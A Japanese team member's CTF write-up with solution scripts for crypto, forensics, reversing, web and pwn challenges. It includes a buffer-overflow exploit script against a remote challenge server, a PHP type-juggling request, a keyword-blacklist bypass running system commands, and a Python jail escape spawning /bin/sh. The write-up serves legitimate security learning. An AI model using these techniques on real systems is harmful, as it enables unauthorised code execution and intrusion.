この大会は2021/10/29 23:00(JST)~2021/11/1 9:00(JST)に開催されました。
今回もチームで参戦。結果は5079点で251チーム中13位でした。
自分で解けた問題をWriteupとして書いておきます。
Road Safety Association (crypto)
RSA暗号だが、p, qがわかっているので、通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * c = 34709089913401150635163820358938916881993556790698827096314474131695180194656373592831158701400832173951061153349955626770351918715134102729180082310540500929299260384727841272328651482716425284903562937949838801126975821205390573428889205747236795476232421245684253455346750459684786949905537837807616524618 p = 7049378199874518503065880299491083072359644394572493724131509322075604915964637314839516681795279921095822776593514545854149110798068329888153907702700969 q = 11332855855499101423426736341398808093169269495239972781080892932533129603046914334311158344125602053367004567763440106361963142912346338848213535638676857 e = 65537 n = p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
kqctf{y0uv3_6r4du473d_fr0m_r54_3l3m3n74ry_5ch00l_ac8770bdcebc}
Obligatory Shark (forensics)
TELNETの通信がたくさんある。TCP Streamで見てみると、パスワードが以下になっている。
33a465747cb15e84a26564f57cda0988
これをCrackStationでクラックする。
dancingqueen
kqctf{dancingqueen}
Just Not My Type (web)
配列で渡し、比較を成り立つようにする。
$ curl http://143.198.184.186:7000/ -d "password[]=a" <h1>I just don't think we're compatible</h1> <br /> <b>Warning</b>: strcasecmp() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>9</b><br /> flag{no_way!_i_took_the_flag_out_of_the_source_before_giving_it_to_you_how_is_this_possible} <form method="POST"> Password <input type="password" name="password"> <input type="submit"> </form>
flag{no_way!_i_took_the_flag_out_of_the_source_before_giving_it_to_you_how_is_this_possible}
A Kind of Magic (pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_38 [44]; uint local_c; local_c = 0; puts("Is this a kind of magic? What is your magic?: "); fflush(stdout); fgets(local_38,0x40,stdin); printf("You entered %s\n",local_38); printf("Your magic is: %d\n",(ulong)local_c); fflush(stdout); if (local_c == 0x539) { puts("Whoa we got a magic man here!"); fflush(stdout); system("cat flag.txt"); } else { puts("You need to challenge the doors of time"); fflush(stdout); } return 0; }
BOFでlocal_cが0x539になるようにする。
from pwn import * if len(sys.argv) == 1: p = remote('143.198.184.186', 5000) else: p = process('./akindofmagic') payload = 'A' * 44 payload += p64(0x539) data = p.recvline().rstrip() print data print payload p.sendline(payload) data = p.recvline().rstrip() print data data = p.recvline().rstrip() print data data = p.recvline().rstrip() print data
実行結果は以下の通り。
[+] Opening connection to 143.198.184.186 on port 5000: Done Is this a kind of magic? What is your magic?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05\x00\x00\x00 You entered AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05 Your magic is: 1337 flag{i_hope_its_still_cool_to_use_1337_for_no_reason} [*] Closed connection to 143.198.184.186 port 5000
flag{i_hope_its_still_cool_to_use_1337_for_no_reason}
sneeki snek (rev)
#!/usr/bin/env python3 def func(): f = '' a = 'rwhxi}eomr\\^`Y' z = 'f]XdThbQd^TYL&\x13g' a += z for i, b in enumerate(a): c = ord(b) c = c - 7 c += i c = chr(c) f += c print(f)
func()関数を実行すると、フラグが表示された。
kqctf{dont_be_mean_to_snek_:(}
sneeki snek 2 oh no what did i do (rev)
#!/usr/bin/env python3 def func(): a = [] a.append(1739411) a.append(1762811) a.append(1794011) a.append(1039911) a.append(1061211) a.append(1718321) a.append(1773911) a.append(1006611) a.append(1516111) a.append(1739411) a.append(1582801) a.append(1506121) a.append(1783901) a.append(1783901) a.append(1773911) a.append(1582801) a.append(1006611) a.append(1561711) a.append(1039911) a.append(1582801) a.append(1773911) a.append(1561711) a.append(1582801) a.append(1773911) a.append(1006611) a.append(1516111) a.append(1516111) a.append(1739411) a.append(1728311) a.append(1539421) b = '' for i in a: c = str(i)[::-1] c = c[:-1] c = int(c) c = c ^ 5 c = c - 55555 c = c // 555 b += chr(c) print(b)
func()関数を実行すると、フラグが表示された。
kqctf{snek_waas_not_so_sneeki}
PHat Pottomed Girls (web)
blacklistがあるが、3回リプレースしているだけ。
■「<<<<???? syssyssyssystemtemtemtem("ls -l /"); ????>>>>」を入力 total 420 drwxr-xr-x 1 root root 4096 Dec 11 2020 bin drwxr-xr-x 2 root root 4096 Nov 22 2020 boot drwxr-xr-x 5 root root 340 Oct 29 21:26 dev drwxr-xr-x 1 root root 4096 Oct 29 21:26 etc -rwxr-xr-x 1 root root 85 Oct 29 18:47 flag.php drwxr-xr-x 2 root root 4096 Nov 22 2020 home drwxr-xr-x 1 root root 4096 Dec 11 2020 lib drwxr-xr-x 2 root root 4096 Dec 9 2020 lib64 drwxr-xr-x 2 root root 4096 Dec 9 2020 media drwxr-xr-x 2 root root 4096 Dec 9 2020 mnt drwxr-xr-x 2 root root 4096 Dec 9 2020 opt dr-xr-xr-x 337 root root 0 Oct 29 21:26 proc drwx------ 1 root root 4096 Dec 11 2020 root drwxr-xr-x 1 root root 4096 Dec 11 2020 run drwxr-xr-x 1 root root 4096 Dec 11 2020 sbin drwxr-xr-x 2 root root 4096 Dec 9 2020 srv dr-xr-xr-x 13 root root 0 Oct 29 21:26 sys drwxrwxrwt 1 root root 352256 Oct 29 22:57 tmp drwxr-xr-x 1 root root 4096 Dec 9 2020 usr drwxr-xr-x 1 root root 4096 Dec 11 2020 var ■「<<<<???? syssyssyssystemtemtemtem("cacacacatttt /flflflflagagagag.php"); ????>>>>」を入力 flag{wait_but_i_fixed_it_after_my_last_two_blunders_i_even_filtered_three_times_:(((}
flag{wait_but_i_fixed_it_after_my_last_two_blunders_i_even_filtered_three_times_:(((}
Cloudsourcing (crypto)
公開鍵を読み込み、nを素因数分解する。
n = p * q p = 147763690849150867668225909469550433915451732812463057700984569348470253956194816406951574728889706783894785686020012100588052689320692584241194441102306664861087263417689874062764278453049583722940577602045732615047554285117930803297120866855129431558042684619199933145634615860792724440681809733506643143827 q = 175323579375439355271067762791797570532327618905238153569106939865810515426195444129569514172323381418275130113304584918382539461249836590401476762173083711488347557377316041604414956494612922763528717954203932654977534635925919801687408066965455169210358420975001566564559944039223342904162696905475355996899
あとはそのまま復号する。
#!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import * from base64 import b64decode with open('key.pub', 'r') as f: pub_data = f.read() with open('mystery.txt', 'r') as f: enc = f.read() pubkey = RSA.importKey(pub_data) n = pubkey.n e = pubkey.e c = bytes_to_long(b64decode(enc)) p = 147763690849150867668225909469550433915451732812463057700984569348470253956194816406951574728889706783894785686020012100588052689320692584241194441102306664861087263417689874062764278453049583722940577602045732615047554285117930803297120866855129431558042684619199933145634615860792724440681809733506643143827 q = 175323579375439355271067762791797570532327618905238153569106939865810515426195444129569514172323381418275130113304584918382539461249836590401476762173083711488347557377316041604414956494612922763528717954203932654977534635925919801687408066965455169210358420975001566564559944039223342904162696905475355996899 assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m) index = flag.index('kqctf{') flag = flag[index:] print(flag)
kqctf{y0uv3_6r4du473d_fr0m_r54_m1ddl3_5ch00l_abe7e79e244a9686efc0}
Dupper Analytics (forensics)
動画を最後まで見たら、フラグが表示された。
kqctf{dupper_analytics_is_fantastic}
jazz (rev)
Bytecode Viewerでデコンパイルする。
import java.util.*; import java.io.*; public class challenge { public static void main(String[] args) throws FileNotFoundException { Scanner s = new Scanner(new BufferedReader(new FileReader("flag.txt"))); String flag = s.nextLine(); char[] r2 = flag.toCharArray(); String build = ""; for(int a = 0; a < r2.length; a++) { build += (char)(158 - r2[a]); } r2 = build.toCharArray(); build = ""; for(int a = 0; 2*a < r2.length - 1; a++) { build += (char)((2*r2[2*a]-r2[2*a+1]+153)%93+33); build += (char)((r2[2*a+1]-r2[2*a]+93)%93+33); } System.out.println(build); } }
このコードの処理概要は以下の通り。
・build: フラグの各文字のASCIIコードを158から引いたものを文字にし、連結したもの ・buildを2文字ずつに分け、以下の処理を行う。 ・1文字目:(char)((2*build[2*a]-build[2*a+1]+153)%93+33) ・2文字目:(char)((build[2*a+1]-build[2*a]+93)%93+33)
逆算していく必要があるが、2つ目の処理で方程式のようになっている。行列を使って解くこともできそうだが、計算が煩雑でなくなりそうなブルートフォースで解く。
enc = '9xLmMiI2znmPam\'D_A_1:RQ;Il\*7:%i".R<' flag = '' for i in range(0, len(enc), 2): found = False for x1 in range(158 - 126, 158 - 31): for x2 in range(158 - 126, 158 - 31): c1 = (2 * x1 - x2 + 153) % 93 + 33 c2 = (x2 - x1 + 93) % 93 + 33 if c1 == ord(enc[i]) and c2 == ord(enc[i+1]): found = True flag += chr(158 - x1) + chr(158 - x2) break if found: break print flag
kqctf{D34D_0N_T1|\/|3_3vgy90N51Fob1s
最後に"}"がないので、付ける。
kqctf{D34D_0N_T1|\/|3_3vgy90N51Fob1s}
Deoxyencoded Nucleic Acid (crypto)
A, C, G, Tが'00', '01', '10', '11'であると推測する。
TGGC TCAT TGAC TCTA TGTG TCGC TGGT TCTA TCAC TTCC TGAG TGAT TCAC TGGT TGAC TGAT ACAT ACAT TCGT TTCC TGAG TGAT TCAC TGTT TTCC TGTG TGCC TCTT TCAG TCCT
4文字ずつで区切ると、先頭はAかTなので、AとTは'00'または'01'、CとGは'10'または'11'。これを前提に復号する。
with open('dna1.txt', 'r') as f: msg = f.read().rstrip() for a in ['00', '01']: for c in ['10', '11']: if a == '00': t = '01' else: t = '00' if c == '10': g = '11' else: g = '10' code = msg.replace('A', a) code = code.replace('C', c) code = code.replace('G', g) code = code.replace('T', t) flag = '' for i in range(0, len(code), 8): flag += chr(int(code[i:i+8], 2)) if flag.startswith('kqctf{'): print flag
kqctf{its_basica11y_base_four}
I want to break free 2: electric boogaloo (pwn)
ブラックリストの文字列があるが分解して実行すればよい。
$ nc 143.198.184.186 45458 You are in a maximum security prison. Can you escape? > __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sy'+'stem(\"/bin/sh\")') ls b49ddf352c9d2cdf7b9cf26dfeff15ad5336944e772b9d0190095be946fe8af9.txt bin blacklist.txt boot dev etc home jail.py lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var cat b49ddf352c9d2cdf7b9cf26dfeff15ad5336944e772b9d0190095be946fe8af9.txt kqctf{0h_h0w_1_w4n7_70_br34k_fr33_2398d89vj3nsoicifh3bdoq1b39049v}
kqctf{0h_h0w_1_w4n7_70_br34k_fr33_2398d89vj3nsoicifh3bdoq1b39049v}
Underscore in Corrupted (forensics)
XORでPNGのフォーマットになると想定して、鍵を算出する。その際わかっているデータを元に調整しながら、算出する。iCCPを使うことは分かったが、それ以上は推測の域を出ず、フラグを復元するのは実質不可能。ネット上で元データを探してみるが、見つからない。このCTFの他の問題で使えるものがないか探してみる。「Underscore in C」の問題に添付されているPNGがiCCPを使っているし、わかっているデータとも合っている。このデータを元にXOR鍵を求めると、フラグになった。
with open('ohno.png', 'rb') as f: data = f.read() with open('Underscore_in_C.png', 'rb') as f: data2 = f.read() flag = '' for i in range(len(data)): flag += chr(ord(data[i]) ^ ord(data2[i])) print flag
kqctf{y0u_r3c0v3r3d_my_m4573rp13c3!_1_c4n_m4k3_34r5_bl33d_4n07h3r_d4y.}
DigitalOcean (forensics)
動画をすべて見たら、フラグが表示された。
kqctf{digital_ocean_is_phenom3nal}